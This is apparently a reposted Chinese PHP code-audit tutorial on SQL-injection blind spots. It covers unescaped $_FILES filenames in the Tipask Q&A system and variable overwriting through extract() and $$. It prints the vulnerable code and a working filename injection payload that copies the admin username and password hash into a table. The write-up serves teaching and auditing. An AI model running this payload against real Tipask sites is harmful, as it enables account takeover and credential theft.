Table des matières
0x01 背景
盲点如下:
0x02 漏洞分析
FILES注入
$$变量覆盖
Maison développement back-end tutoriel php 【PHP代码审计】那些年我们一起挖掘SQL注入-8.全局防护盲点的总结下篇

【PHP代码审计】那些年我们一起挖掘SQL注入-8.全局防护盲点的总结下篇

Jun 20, 2016 pm 12:25 PM

0x01 背景

现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义。但仅仅使用这样的防护是存在很多盲点的,接上篇 http://www.waitalone.cn/php-code-audit-6.html ,这里介绍另外两种情况。

盲点如下:

①FILES注入,全局只转义掉GET、POST等传来的参数,遗漏了FILES;

②变量覆盖,危险函数:extract()、parse_str()、$$。

0x02 漏洞分析

FILES注入

FILES注入一般情况是是因为上传时把上传的名字带到insert入库产生的,这里看下tipask问答系统

首先看看它的全局防护是怎么处理的:

index.php里:include TIPASK_ROOT . '/model/tipask.class.php';$tipask = new tipask();$tipask->run();... ...跟进到/model/tipask.class.php里:function init_request() {... ...        $this->get = taddslashes($this->get, 1);        $this->post = taddslashes(array_merge($_GET, $_POST));        checkattack($this->post, 'post');        checkattack($this->get, 'get');        unset($_POST);    }
Copier après la connexion

可以看到对get和post传来的数据进行了addslashes特殊转义处理,对$_FILES没有任何处理操作,我们全局搜索$_FILES,发现/control/attach.php有上传处理,我们跟进:

<?phpfunction onupload() {	//上传配置	$config = array(		"uploadPath" => "data/attach/", //保存路径		"fileType" => array(".rar", ".doc", ".docx", ".zip", ".pdf", ".txt", ".swf", ".wmv", "xsl"), //文件允许格式		"fileSize" => 10 //文件大小限制,单位MB	);	//文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜	$state = "SUCCESS";	$clientFile = $_FILES["upfile"];	if (!isset($clientFile)) {		echo "{'state':'文件大小超出服务器配置!','url':'null','fileType':'null'}"; //请修改php.ini中的upload_max_filesize和post_max_size		exit;	}	//格式验证	$current_type = strtolower(strrchr($clientFile["name"], '.'));	if (!in_array($current_type, $config['fileType'])) {		$state = "不支持的文件类型!";	}	//大小验证	$file_size = 1024 * 1024 * $config['fileSize'];	if ($clientFile["size"] > $file_size) {		$state = "文件大小超出限制!";	}	//保存文件	if ($state == "SUCCESS") {		$targetfile = $config['uploadPath'] . gmdate('ym', $this->time) . '/' . random(8) . strrchr($clientFile["name"], '.');		$result = $_ENV['attach']->movetmpfile($clientFile, $targetfile);		if (!$result) {			$state = "文件保存失败!";		} else {			//这里将上传的文件名带入数据库查询			$_ENV['attach']->add($clientFile["name"], $current_type, $clientFile["size"], $targetfile, 0);		}	}    //向浏览器返回数据json数据	echo '{"state":"' . $state . '","url":"' . $targetfile . '","fileType":"' . $current_type . '","original":"' . $clientFile["name"] . '"}';}
Copier après la connexion

可以看到这句$_ENV[‘attach’]->add($clientFile[“name”]…),将$clientFile[name] = $_FILES[“upfile”][name]带入了如下add入库的操作,从而造成注入。

<?phpfunction add($filename,$ftype,$fsize,$location,$isimage=1) {	$uid=$this->base->user['uid'];	$this->db->query("INSERT INTO ".DB_TABLEPRE."attach(time,filename,filetype,filesize,location,isimage,uid)  VALUES ({$this->base->time},'$filename','$ftype','$fsize','$location',$isimage,$uid)");	return $this->db->insert_id();}
Copier après la connexion

上传一个文件,然后修改文件名称为以下代码即可获取管理员账户密码:

filename="1','.php',1,(select concat(username,0x23,password) from ask_user limit 1),2,1)#.jpg"

数据库里成功将管理员账户密码插入到attach表中:

变量覆盖

出现比较多的是extract函数,例如extract($_POST)会直接从POST数组中取出变量,覆盖掉之前的一些变量。

<?php$a=222333;@extract($_POST);print_r($a);
Copier après la connexion

浏览器里post直接传a=1发现成功覆盖了变量a的值

目前看乌云的案例 http://www.wooyun.org/bugs/wooyun-2014-053189 是出现在覆盖表前缀上。

$$变量覆盖

原理其实跟上面一样,有个很经典的$$变量覆盖的代码:

<?php$a=22333;foreach(array('_COOKIE','_POST','_GET') as $_request){	foreach($$_request as $_key=>$_value){		$$_key = addslashes($_value);	}}echo $a;
Copier après la connexion

测试发现成功覆盖了变量a

案例: http://www.wooyun.org/bugs/wooyun-2010-055338

原文转自: http://www.cnbraid.com/2016/05/31/sql7/

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Article chaud

Repo: Comment relancer ses coéquipiers
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
1 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Combien de temps faut-il pour battre Split Fiction?
3 Il y a quelques semaines By DDD
Hello Kitty Island Adventure: Comment obtenir des graines géantes
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌

Article chaud

Repo: Comment relancer ses coéquipiers
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
1 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Combien de temps faut-il pour battre Split Fiction?
3 Il y a quelques semaines By DDD
Hello Kitty Island Adventure: Comment obtenir des graines géantes
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌

Tags d'article chaud

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

11 meilleurs scripts de raccourcissement d'URL PHP (gratuit et premium) 11 meilleurs scripts de raccourcissement d'URL PHP (gratuit et premium) Mar 03, 2025 am 10:49 AM

11 meilleurs scripts de raccourcissement d'URL PHP (gratuit et premium)

Travailler avec les données de session Flash dans Laravel Travailler avec les données de session Flash dans Laravel Mar 12, 2025 pm 05:08 PM

Travailler avec les données de session Flash dans Laravel

Construisez une application React avec un Laravel Back End: Partie 2, React Construisez une application React avec un Laravel Back End: Partie 2, React Mar 04, 2025 am 09:33 AM

Construisez une application React avec un Laravel Back End: Partie 2, React

Misque de réponse HTTP simplifié dans les tests Laravel Misque de réponse HTTP simplifié dans les tests Laravel Mar 12, 2025 pm 05:09 PM

Misque de réponse HTTP simplifié dans les tests Laravel

Curl dans PHP: Comment utiliser l'extension PHP Curl dans les API REST Curl dans PHP: Comment utiliser l'extension PHP Curl dans les API REST Mar 14, 2025 am 11:42 AM

Curl dans PHP: Comment utiliser l'extension PHP Curl dans les API REST

12 meilleurs scripts de chat PHP sur Codecanyon 12 meilleurs scripts de chat PHP sur Codecanyon Mar 13, 2025 pm 12:08 PM

12 meilleurs scripts de chat PHP sur Codecanyon

Notifications à Laravel Notifications à Laravel Mar 04, 2025 am 09:22 AM

Notifications à Laravel

Annonce de l'enquête sur la situation en 2025 PHP Annonce de l'enquête sur la situation en 2025 PHP Mar 03, 2025 pm 04:20 PM

Annonce de l'enquête sur la situation en 2025 PHP

See all articles